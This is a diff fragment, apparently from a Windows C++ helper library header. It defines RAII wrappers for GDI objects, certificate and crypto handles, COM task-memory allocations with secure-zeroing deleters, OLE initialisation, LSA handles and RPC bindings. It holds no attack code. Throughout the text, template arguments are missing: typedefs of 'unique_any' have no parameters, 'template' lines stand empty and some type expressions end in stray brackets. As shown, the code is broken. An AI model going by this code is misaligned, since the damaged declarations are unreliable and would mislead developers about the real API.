+#define __WIL_WINSOCKAPI_STL + typedef shared_any shared_socket; + typedef weak_any weak_socket; +#endif // __WIL_WINSOCKAPI_STL + + +#if defined(_WINGDI_) && !defined(__WIL_WINGDI_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && !defined(NOGDI) && !defined(WIL_KERNEL_MODE) +#define __WIL_WINGDI_ + struct window_dc + { + HDC dc; + HWND hwnd; + window_dc(HDC dc_, HWND hwnd_ = nullptr) WI_NOEXCEPT { dc = dc_; hwnd = hwnd_; } + operator HDC() const WI_NOEXCEPT { return dc; } + static void close(window_dc wdc) WI_NOEXCEPT { ::ReleaseDC(wdc.hwnd, wdc.dc); } + }; + typedef unique_any unique_hdc_window; + + struct paint_dc + { + HWND hwnd; + PAINTSTRUCT ps; + paint_dc(HDC hdc = nullptr) { ::ZeroMemory(this, sizeof(*this)); ps.hdc = hdc; } + operator HDC() const WI_NOEXCEPT { return ps.hdc; } + static void close(paint_dc pdc) WI_NOEXCEPT { ::EndPaint(pdc.hwnd, &pdc.ps); } + }; + typedef unique_any unique_hdc_paint; + + struct select_result + { + HGDIOBJ hgdi; + HDC hdc; + select_result(HGDIOBJ hgdi_, HDC hdc_ = nullptr) WI_NOEXCEPT { hgdi = hgdi_; hdc = hdc_; } + operator HGDIOBJ() const WI_NOEXCEPT { return hgdi; } + static void close(select_result sr) WI_NOEXCEPT { ::SelectObject(sr.hdc, sr.hgdi); } + }; + typedef unique_any unique_select_object; + + inline unique_hdc_window GetDC(HWND hwnd) WI_NOEXCEPT + { + return unique_hdc_window(window_dc(::GetDC(hwnd), hwnd)); + } + + inline unique_hdc_window GetWindowDC(HWND hwnd) WI_NOEXCEPT + { + return unique_hdc_window(window_dc(::GetWindowDC(hwnd), hwnd)); + } + + inline unique_hdc_paint BeginPaint(HWND hwnd, _Out_opt_ PPAINTSTRUCT pPaintStruct = nullptr) WI_NOEXCEPT + { + paint_dc pdc; + pdc.hwnd = hwnd; + HDC hdc = ::BeginPaint(hwnd, &pdc.ps); + assign_to_opt_param(pPaintStruct, pdc.ps); + return (hdc == nullptr) ? unique_hdc_paint() : unique_hdc_paint(pdc); + } + + inline unique_select_object SelectObject(HDC hdc, HGDIOBJ gdiobj) WI_NOEXCEPT + { + return unique_select_object(select_result(::SelectObject(hdc, gdiobj), hdc)); + } + + typedef unique_any unique_hgdiobj; + typedef unique_any unique_hpen; + typedef unique_any unique_hbrush; + typedef unique_any unique_hfont; + typedef unique_any unique_hbitmap; + typedef unique_any unique_hrgn; + typedef unique_any unique_hpalette; + typedef unique_any unique_hdc; + typedef unique_any unique_hicon; +#if !defined(NOMENUS) + typedef unique_any unique_hmenu; +#endif // !defined(NOMENUS) +#endif // __WIL_WINGDI_ +#if defined(__WIL_WINGDI_) && !defined(__WIL_WINGDI_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_WINGDI_STL + typedef shared_any shared_hgdiobj; + typedef shared_any shared_hpen; + typedef shared_any shared_hbrush; + typedef shared_any shared_hfont; + typedef shared_any shared_hbitmap; + typedef shared_any shared_hrgn; + typedef shared_any shared_hpalette; + typedef shared_any shared_hdc; + typedef shared_any shared_hicon; +#if !defined(NOMENUS) + typedef shared_any shared_hmenu; +#endif // !defined(NOMENUS) + + typedef weak_any weak_hgdiobj; + typedef weak_any weak_hpen; + typedef weak_any weak_hbrush; + typedef weak_any weak_hfont; + typedef weak_any weak_hbitmap; + typedef weak_any weak_hrgn; + typedef weak_any weak_hpalette; + typedef weak_any weak_hdc; + typedef weak_any weak_hicon; +#if !defined(NOMENUS) + typedef weak_any weak_hmenu; +#endif // !defined(NOMENUS) +#endif // __WIL_WINGDI_STL + +#if defined(_INC_WTSAPI) && !defined(__WIL_WTSAPI) +#define __WIL_WTSAPI + template + using unique_wtsmem_ptr = wistd::unique_ptr>; +#endif // __WIL_WTSAPI + +#if defined(_WINSCARD_H_) && !defined(__WIL_WINSCARD_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_WINSCARD_H_ + typedef unique_any unique_scardctx; +#endif // __WIL_WINSCARD_H_ +#if defined(__WIL_WINSCARD_H_) && !defined(__WIL_WINSCARD_H_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_WINSCARD_H_STL + typedef shared_any shared_scardctx; + typedef weak_any weak_scardctx; +#endif // __WIL_WINSCARD_H_STL + + +#if defined(__WINCRYPT_H__) && !defined(__WIL__WINCRYPT_H__) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL__WINCRYPT_H__ + /// @cond + namespace details + { + inline void __stdcall CertCloseStoreNoParam(_Pre_opt_valid_ _Frees_ptr_opt_ HCERTSTORE hCertStore) WI_NOEXCEPT + { + ::CertCloseStore(hCertStore, 0); + } + + inline void __stdcall CryptReleaseContextNoParam(_Pre_opt_valid_ _Frees_ptr_opt_ HCRYPTPROV hCryptCtx) WI_NOEXCEPT + { + ::CryptReleaseContext(hCryptCtx, 0); + } + } + /// @endcond + + struct cert_context_t : details::unique_storage> + { + // forward all base class constructors... + template + explicit cert_context_t(args_t&&... args) WI_NOEXCEPT : unique_storage(wistd::forward(args)...) {} + + /** A wrapper around CertEnumCertificatesInStore. + CertEnumCertificatesInStore takes ownership of its second paramter in an unclear fashion, + making it error-prone to use in combination with unique_cert_context. This wrapper helps + manage the resource correctly while ensuring the GetLastError state set by CertEnumCertificatesInStore. + is not lost. See MSDN for more information on `CertEnumCertificatesInStore`. + ~~~~ + void MyMethod(HCERTSTORE certStore) + { + wil::unique_cert_context enumCert; + while (enumCert.CertEnumCertificatesInStore(certStore)) + { + UseTheCertToDoTheThing(enumCert); + } + } + ~~~~ + @param certStore A handle of a certificate store. + @param 'true' if a certificate was enumerated by this call, false otherwise. + */ + bool CertEnumCertificatesInStore(HCERTSTORE certStore) WI_NOEXCEPT + { + reset(::CertEnumCertificatesInStore(certStore, release())); + return is_valid(); + } + }; + + // Warning - ::CertEnumCertificatesInStore takes ownership of its parameter. Prefer the + // .CertEnumCertificatesInStore method of the unique_cert_context or else use .release + // when calling ::CertEnumCertificatesInStore directly. + typedef unique_any_t unique_cert_context; + typedef unique_any unique_cert_chain_context; + typedef unique_any unique_hcertstore; + typedef unique_any unique_hcryptprov; + typedef unique_any unique_hcryptkey; + typedef unique_any unique_hcrypthash; +#endif // __WIL__WINCRYPT_H__ +#if defined(__WIL__WINCRYPT_H__) && !defined(__WIL__WINCRYPT_H__STL) && defined(WIL_RESOURCE_STL) +#define __WIL__WINCRYPT_H__STL + typedef shared_any shared_cert_context; + typedef shared_any shared_cert_chain_context; + typedef shared_any shared_hcertstore; + typedef shared_any shared_hcryptprov; + typedef shared_any shared_hcryptkey; + typedef shared_any shared_hcrypthash; + + typedef weak_any weak_cert_context; + typedef weak_any weak_cert_chain_context; + typedef weak_any weak_hcertstore; + typedef weak_any weak_hcryptprov; + typedef weak_any weak_hcryptkey; + typedef weak_any weak_hcrypthash; +#endif // __WIL__WINCRYPT_H__STL + + +#if defined(__NCRYPT_H__) && !defined(__WIL_NCRYPT_H__) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_NCRYPT_H__ + using ncrypt_deleter = function_deleter; + + template + using unique_ncrypt_ptr = wistd::unique_ptr; + + typedef unique_any unique_ncrypt_prov; + typedef unique_any unique_ncrypt_key; + typedef unique_any unique_ncrypt_secret; +#endif // __WIL_NCRYPT_H__ +#if defined(__WIL_NCRYPT_H__) && !defined(__WIL_NCRYPT_H_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_NCRYPT_H_STL + typedef shared_any shared_ncrypt_prov; + typedef shared_any shared_ncrypt_key; + typedef shared_any shared_ncrypt_secret; + + typedef weak_any weak_ncrypt_prov; + typedef weak_any weak_ncrypt_key; + typedef weak_any weak_ncrypt_secret; +#endif // __WIL_NCRYPT_H_STL + +#if defined(__BCRYPT_H__) && !defined(__WIL_BCRYPT_H__) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_BCRYPT_H__ + /// @cond + namespace details + { + inline void __stdcall BCryptCloseAlgorithmProviderNoFlags(_Pre_opt_valid_ _Frees_ptr_opt_ BCRYPT_ALG_HANDLE hAlgorithm) WI_NOEXCEPT + { + if (hAlgorithm) + { + ::BCryptCloseAlgorithmProvider(hAlgorithm, 0); + } + } + } + /// @endcond + + using bcrypt_deleter = function_deleter; + + template + using unique_bcrypt_ptr = wistd::unique_ptr; + + typedef unique_any unique_bcrypt_algorithm; + typedef unique_any unique_bcrypt_hash; + typedef unique_any unique_bcrypt_key; + typedef unique_any unique_bcrypt_secret; +#endif // __WIL_BCRYPT_H__ +#if defined(__WIL_BCRYPT_H__) && !defined(__WIL_BCRYPT_H_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_BCRYPT_H_STL + typedef shared_any shared_bcrypt_algorithm; + typedef shared_any shared_bcrypt_hash; + typedef shared_any shared_bcrypt_key; + typedef shared_any shared_bcrypt_secret; + + typedef weak_any weak_bcrypt_algorithm; + typedef weak_any weak_bcrypt_hash; + typedef weak_any weak_bcrypt_key; + typedef weak_any weak_bcrypt_secret; +#endif // __WIL_BCRYPT_H_STL + + +#if defined(__RPCNDR_H__) && !defined(__WIL__RPCNDR_H__) && !defined(WIL_KERNEL_MODE) +#define __WIL__RPCNDR_H__ + + //! Function deleter for use with pointers allocated by MIDL_user_allocate + using midl_deleter = function_deleter; + + //! Unique-ptr holding a type allocated by MIDL_user_alloc or returned from an RPC invocation + template using unique_midl_ptr = wistd::unique_ptr; + + //! Unique-ptr for strings allocated by MIDL_user_alloc + using unique_midl_string = unique_midl_ptr; +#ifndef WIL_NO_ANSI_STRINGS + using unique_midl_ansistring = unique_midl_ptr; +#endif + + namespace details + { + struct midl_allocator + { + static _Ret_opt_bytecap_(size) void* allocate(size_t size) WI_NOEXCEPT + { + return ::MIDL_user_allocate(size); + } + }; + + // Specialization to support construction of unique_midl_string instances + template<> struct string_allocator : midl_allocator {}; + +#ifndef WIL_NO_ANSI_STRINGS + template<> struct string_allocator : midl_allocator {}; +#endif + } +#endif // __WIL__RPCNDR_H__ + +#if defined(_OBJBASE_H_) && !defined(__WIL_OBJBASE_H_) && !defined(WIL_KERNEL_MODE) +#define __WIL_OBJBASE_H_ + using cotaskmem_deleter = function_deleter; + + template + using unique_cotaskmem_ptr = wistd::unique_ptr; + + template + using unique_cotaskmem_array_ptr = unique_array_ptr; + + /** Provides `std::make_unique()` semantics for resources allocated with `CoTaskMemAlloc()` in a context that may not throw upon allocation failure. + Use `wil::make_unique_cotaskmem_nothrow()` for resources returned from APIs that must satisfy a memory allocation contract that requires the use of `CoTaskMemAlloc()` / `CoTaskMemFree()`. + Use `wil::make_unique_nothrow()` when `CoTaskMemAlloc()` is not required. + + Allocations are initialized with placement new and will call constructors (if present), but this does not guarantee initialization. + + Note that `wil::make_unique_cotaskmem_nothrow()` is not marked WI_NOEXCEPT as it may be used to create an exception-based class that may throw in its constructor. + ~~~ + auto foo = wil::make_unique_cotaskmem_nothrow(); + if (foo) + { + // initialize allocated Foo object as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_cotaskmem_ptr>::type make_unique_cotaskmem_nothrow(Args&&... args) + { + static_assert(wistd::is_trivially_destructible::value, "T has a destructor that won't be run when used with this function; use make_unique instead"); + unique_cotaskmem_ptr sp(static_cast(::CoTaskMemAlloc(sizeof(T)))); + if (sp) + { + // use placement new to initialize memory from the previous allocation + new (sp.get()) T(wistd::forward(args)...); + } + return sp; + } + + /** Provides `std::make_unique()` semantics for array resources allocated with `CoTaskMemAlloc()` in a context that may not throw upon allocation failure. + See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_cotaskmem_nothrow(size); + if (foos) + { + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_ptr>::type make_unique_cotaskmem_nothrow(size_t size) + { + typedef typename wistd::remove_extent::type E; + static_assert(wistd::is_trivially_destructible::value, "E has a destructor that won't be run when used with this function; use make_unique instead"); + FAIL_FAST_IF((__WI_SIZE_MAX / sizeof(E)) < size); + size_t allocSize = sizeof(E) * size; + unique_cotaskmem_ptr sp(static_cast(::CoTaskMemAlloc(allocSize))); + if (sp) + { + // use placement new to initialize memory from the previous allocation; + // note that array placement new cannot be used as the standard allows for operator new[] + // to consume overhead in the allocation for internal bookkeeping + for (auto& elem : make_range(static_cast(sp.get()), size)) + { + new (&elem) E(); + } + } + return sp; + } + + /** Provides `std::make_unique()` semantics for resources allocated with `CoTaskMemAlloc()` in a context that must fail fast upon allocation failure. + See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details. + ~~~ + auto foo = wil::make_unique_cotaskmem_failfast(); + // initialize allocated Foo object as appropriate + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_cotaskmem_ptr>::type make_unique_cotaskmem_failfast(Args&&... args) + { + unique_cotaskmem_ptr result(make_unique_cotaskmem_nothrow(wistd::forward(args)...)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } + + /** Provides `std::make_unique()` semantics for array resources allocated with `CoTaskMemAlloc()` in a context that must fail fast upon allocation failure. + See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_cotaskmem_failfast(size); + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_ptr>::type make_unique_cotaskmem_failfast(size_t size) + { + unique_cotaskmem_ptr result(make_unique_cotaskmem_nothrow(size)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Provides `std::make_unique()` semantics for resources allocated with `CoTaskMemAlloc()`. + See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details. + ~~~ + auto foo = wil::make_unique_cotaskmem(); + // initialize allocated Foo object as appropriate + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_cotaskmem_ptr>::type make_unique_cotaskmem(Args&&... args) + { + unique_cotaskmem_ptr result(make_unique_cotaskmem_nothrow(wistd::forward(args)...)); + THROW_IF_NULL_ALLOC(result); + return result; + } + + /** Provides `std::make_unique()` semantics for array resources allocated with `CoTaskMemAlloc()`. + See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_cotaskmem(size); + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_ptr>::type make_unique_cotaskmem(size_t size) + { + unique_cotaskmem_ptr result(make_unique_cotaskmem_nothrow(size)); + THROW_IF_NULL_ALLOC(result); + return result; + } +#endif // WIL_ENABLE_EXCEPTIONS + + typedef unique_any unique_cotaskmem; + typedef unique_any unique_cotaskmem_string; +#ifndef WIL_NO_ANSI_STRINGS + typedef unique_any unique_cotaskmem_ansistring; +#endif // WIL_NO_ANSI_STRINGS + + /// @cond + namespace details + { + struct cotaskmem_allocator + { + static _Ret_opt_bytecap_(size) void* allocate(size_t size) WI_NOEXCEPT + { + return ::CoTaskMemAlloc(size); + } + }; + + template<> struct string_allocator : cotaskmem_allocator {}; + +#ifndef WIL_NO_ANSI_STRINGS + template<> struct string_allocator : cotaskmem_allocator {}; +#endif // WIL_NO_ANSI_STRINGS + } + /// @endcond + + inline auto make_cotaskmem_string_nothrow( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + return make_unique_string_nothrow(source, length); + } + + inline auto make_cotaskmem_string_failfast( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + return make_unique_string_failfast(source, length); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + inline auto make_cotaskmem_string( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length = static_cast(-1)) + { + return make_unique_string(source, length); + } + +#endif // WIL_ENABLE_EXCEPTIONS +#endif // __WIL_OBJBASE_H_ +#if defined(__WIL_OBJBASE_H_) && !defined(__WIL_OBJBASE_H_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_OBJBASE_H_STL + typedef shared_any shared_cotaskmem; + typedef weak_any weak_cotaskmem; + typedef shared_any shared_cotaskmem_string; + typedef weak_any weak_cotaskmem_string; +#endif // __WIL_OBJBASE_H_STL + +#if defined(__WIL_OBJBASE_H_) && defined(__WIL_WINBASE_) && !defined(__WIL_OBJBASE_AND_WINBASE_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_OBJBASE_AND_WINBASE_H_ + + struct cotaskmem_secure_deleter + { + template + void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const + { + if (p) + { + IMalloc* malloc; + if (SUCCEEDED(::CoGetMalloc(1, &malloc))) + { + size_t const size = malloc->GetSize(p); + if (size != static_cast(-1)) + { + ::SecureZeroMemory(p, size); + } + malloc->Release(); + } + ::CoTaskMemFree(p); + } + } + }; + + template + using unique_cotaskmem_secure_ptr = wistd::unique_ptr; + + /** Provides `std::make_unique()` semantics for secure resources allocated with `CoTaskMemAlloc()` in a context that may not throw upon allocation failure. + See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details. + ~~~ + auto foo = wil::make_unique_cotaskmem_secure_nothrow(); + if (foo) + { + // initialize allocated Foo object as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure_nothrow(Args&&... args) + { + return unique_cotaskmem_secure_ptr(make_unique_cotaskmem_nothrow(wistd::forward(args)...).release()); + } + + /** Provides `std::make_unique()` semantics for secure array resources allocated with `CoTaskMemAlloc()` in a context that may not throw upon allocation failure. + See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_cotaskmem_secure_nothrow(size); + if (foos) + { + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure_nothrow(size_t size) + { + return unique_cotaskmem_secure_ptr(make_unique_cotaskmem_nothrow(size).release()); + } + + /** Provides `std::make_unique()` semantics for secure resources allocated with `CoTaskMemAlloc()` in a context that must fail fast upon allocation failure. + See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details. + ~~~ + auto foo = wil::make_unique_cotaskmem_secure_failfast(); + // initialize allocated Foo object as appropriate + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure_failfast(Args&&... args) + { + unique_cotaskmem_secure_ptr result(make_unique_cotaskmem_secure_nothrow(wistd::forward(args)...)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } + + /** Provides `std::make_unique()` semantics for secure array resources allocated with `CoTaskMemAlloc()` in a context that must fail fast upon allocation failure. + See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_cotaskmem_secure_failfast(size); + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure_failfast(size_t size) + { + unique_cotaskmem_secure_ptr result(make_unique_cotaskmem_secure_nothrow(size)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Provides `std::make_unique()` semantics for secure resources allocated with `CoTaskMemAlloc()`. + See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details. + ~~~ + auto foo = wil::make_unique_cotaskmem_secure(); + // initialize allocated Foo object as appropriate + ~~~ + */ + template + inline typename wistd::enable_if::value, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure(Args&&... args) + { + unique_cotaskmem_secure_ptr result(make_unique_cotaskmem_secure_nothrow(wistd::forward(args)...)); + THROW_IF_NULL_ALLOC(result); + return result; + } + + /** Provides `std::make_unique()` semantics for secure array resources allocated with `CoTaskMemAlloc()`. + See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_cotaskmem_secure(size); + for (auto& elem : wil::make_range(foos.get(), size)) + { + // initialize allocated Foo objects as appropriate + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure(size_t size) + { + unique_cotaskmem_secure_ptr result(make_unique_cotaskmem_secure_nothrow(size)); + THROW_IF_NULL_ALLOC(result); + return result; + } +#endif // WIL_ENABLE_EXCEPTIONS + + typedef unique_cotaskmem_secure_ptr unique_cotaskmem_string_secure; + + /** Copies a given string into secure memory allocated with `CoTaskMemAlloc()` in a context that may not throw upon allocation failure. + See the overload of `wil::make_cotaskmem_string_nothrow()` with supplied length for more details. + ~~~ + auto str = wil::make_cotaskmem_string_secure_nothrow(L"a string"); + if (str) + { + std::wcout << L"This is " << str.get() << std::endl; // prints "This is a string" + } + ~~~ + */ + inline unique_cotaskmem_string_secure make_cotaskmem_string_secure_nothrow(_In_ PCWSTR source) WI_NOEXCEPT + { + return unique_cotaskmem_string_secure(make_cotaskmem_string_nothrow(source).release()); + } + + /** Copies a given string into secure memory allocated with `CoTaskMemAlloc()` in a context that must fail fast upon allocation failure. + See the overload of `wil::make_cotaskmem_string_nothrow()` with supplied length for more details. + ~~~ + auto str = wil::make_cotaskmem_string_secure_failfast(L"a string"); + std::wcout << L"This is " << str.get() << std::endl; // prints "This is a string" + ~~~ + */ + inline unique_cotaskmem_string_secure make_cotaskmem_string_secure_failfast(_In_ PCWSTR source) WI_NOEXCEPT + { + unique_cotaskmem_string_secure result(make_cotaskmem_string_secure_nothrow(source)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Copies a given string into secure memory allocated with `CoTaskMemAlloc()`. + See the overload of `wil::make_cotaskmem_string_nothrow()` with supplied length for more details. + ~~~ + auto str = wil::make_cotaskmem_string_secure(L"a string"); + std::wcout << L"This is " << str.get() << std::endl; // prints "This is a string" + ~~~ + */ + inline unique_cotaskmem_string_secure make_cotaskmem_string_secure(_In_ PCWSTR source) + { + unique_cotaskmem_string_secure result(make_cotaskmem_string_secure_nothrow(source)); + THROW_IF_NULL_ALLOC(result); + return result; + } +#endif +#endif // __WIL_OBJBASE_AND_WINBASE_H_ + +#if defined(_OLE2_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && !defined(__WIL_OLE2_H_) && !defined(WIL_KERNEL_MODE) +#define __WIL_OLE2_H_ + typedef unique_struct unique_stg_medium; + struct unique_hglobal_locked : public unique_any + { + unique_hglobal_locked() = delete; + + explicit unique_hglobal_locked(HGLOBAL global) : unique_any(global) + { + // GlobalLock returns a pointer to the associated global memory block and that's what callers care about. + m_globalMemory = GlobalLock(global); + if (!m_globalMemory) + { + release(); + } + } + + explicit unique_hglobal_locked(STGMEDIUM& medium) : unique_hglobal_locked(medium.hGlobal) + { + } + + pointer get() const + { + return m_globalMemory; + } + + private: + pointer m_globalMemory; + }; + + //! A type that calls OleUninitialize on destruction (or reset()). + //! Use as a replacement for Windows::Foundation::Uninitialize. + using unique_oleuninitialize_call = unique_call; + + //! Calls RoInitialize and fail-fasts if it fails; returns an RAII object that reverts + //! Use as a replacement for Windows::Foundation::Initialize + _Check_return_ inline unique_oleuninitialize_call OleInitialize_failfast() + { + FAIL_FAST_IF_FAILED(::OleInitialize(nullptr)); + return unique_oleuninitialize_call(); + } +#endif // __WIL_OLE2_H_ + +#if defined(__WIL_OLE2_H_) && defined(WIL_ENABLE_EXCEPTIONS) && !defined(__WIL_OLE2_H_EXCEPTIONAL) +#define __WIL_OLE2_H_EXCEPTIONAL + //! Calls RoInitialize and throws an exception if it fails; returns an RAII object that reverts + //! Use as a replacement for Windows::Foundation::Initialize + _Check_return_ inline unique_oleuninitialize_call OleInitialize() + { + THROW_IF_FAILED(::OleInitialize(nullptr)); + return unique_oleuninitialize_call(); + } +#endif + +#if defined(_INC_COMMCTRL) && !defined(__WIL_INC_COMMCTRL) && !defined(WIL_KERNEL_MODE) +#define __WIL_INC_COMMCTRL + typedef unique_any unique_himagelist; +#endif // __WIL_INC_COMMCTRL +#if defined(__WIL_INC_COMMCTRL) && !defined(__WIL_INC_COMMCTRL_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_INC_COMMCTRL_STL + typedef shared_any shared_himagelist; + typedef weak_any weak_himagelist; +#endif // __WIL_INC_COMMCTRL_STL + +#if defined(_UXTHEME_H_) && !defined(__WIL_INC_UXTHEME) && !defined(WIL_KERNEL_MODE) +#define __WIL_INC_UXTHEME + typedef unique_any unique_htheme; +#endif // __WIL_INC_UXTHEME + +#if defined(_WINSVC_) && !defined(__WIL_HANDLE_H_WINSVC) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && !defined(WIL_KERNEL_MODE) +#define __WIL_HANDLE_H_WINSVC + typedef unique_any unique_schandle; +#endif // __WIL_HANDLE_H_WINSVC +#if defined(__WIL_HANDLE_H_WINSVC) && !defined(__WIL_HANDLE_H_WINSVC_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_HANDLE_H_WINSVC_STL + typedef shared_any shared_schandle; + typedef weak_any weak_schandle; +#endif // __WIL_HANDLE_H_WINSVC_STL + +#if defined(_INC_STDIO) && !defined(__WIL_INC_STDIO) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && !defined(WIL_KERNEL_MODE) +#define __WIL_INC_STDIO + typedef unique_any unique_pipe; + typedef unique_any unique_file; +#endif // __WIL_INC_STDIO +#if defined(__WIL_INC_STDIO) && !defined(__WIL__INC_STDIO_STL) && defined(WIL_RESOURCE_STL) +#define __WIL__INC_STDIO_STL + typedef shared_any shared_pipe; + typedef weak_any weak_pipe; + typedef shared_any shared_file; + typedef weak_any weak_file; +#endif // __WIL__INC_STDIO_STL + +#if defined(_NTLSA_) && !defined(__WIL_NTLSA_) && !defined(WIL_KERNEL_MODE) +#define __WIL_NTLSA_ + typedef unique_any unique_hlsa; + + using lsa_freemem_deleter = function_deleter; + + template + using unique_lsamem_ptr = wistd::unique_ptr; +#endif // _NTLSA_ +#if defined(_NTLSA_) && !defined(__WIL_NTLSA_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_NTLSA_STL + typedef shared_any shared_hlsa; + typedef weak_any weak_hlsa; +#endif // _NTLSA_ + +#if defined(_LSALOOKUP_) && !defined(__WIL_LSALOOKUP_) +#define __WIL_LSALOOKUP_ + typedef unique_any unique_hlsalookup; + + using lsalookup_freemem_deleter = function_deleter; + + template + using unique_lsalookupmem_ptr = wistd::unique_ptr; +#endif // _LSALOOKUP_ +#if defined(_LSALOOKUP_) && !defined(__WIL_LSALOOKUP_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_LSALOOKUP_STL + typedef shared_any shared_hlsalookup; + typedef weak_any weak_hlsalookup; +#endif // _LSALOOKUP_ + +#if defined(_NTLSA_IFS_) && !defined(__WIL_HANDLE_H_NTLSA_IFS_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_HANDLE_H_NTLSA_IFS_ + using lsa_deleter = function_deleter; + + template + using unique_lsa_ptr = wistd::unique_ptr; +#endif // __WIL_HANDLE_H_NTLSA_IFS_ + +#if defined(__WERAPI_H__) && !defined(__WIL_WERAPI_H__) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_WERAPI_H__ + typedef unique_any unique_wer_report; +#endif + +#if defined(__MIDLES_H__) && !defined(__WIL_MIDLES_H__) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_MIDLES_H__ + typedef unique_any unique_rpc_pickle; +#endif +#if defined(__WIL_MIDLES_H__) && !defined(__WIL_MIDLES_H_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_MIDLES_H_STL + typedef shared_any shared_rpc_pickle; + typedef weak_any weak_rpc_pickle; +#endif + +#if defined(__RPCDCE_H__) && !defined(__WIL_RPCDCE_H__) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_RPCDCE_H__ + /// @cond + namespace details + { + inline void __stdcall WpRpcBindingFree(_Pre_opt_valid_ _Frees_ptr_opt_ RPC_BINDING_HANDLE binding) + { + ::RpcBindingFree(&binding); + } + + inline void __stdcall WpRpcBindingVectorFree(_Pre_opt_valid_ _Frees_ptr_opt_ RPC_BINDING_VECTOR* bindingVector) + { + ::RpcBindingVectorFree(&bindingVector); + } + + inline void __stdcall WpRpcStringFree(_Pre_opt_valid_ _Frees_ptr_opt_ RPC_WSTR wstr) + { + ::RpcStringFreeW(&wstr); + } + } + 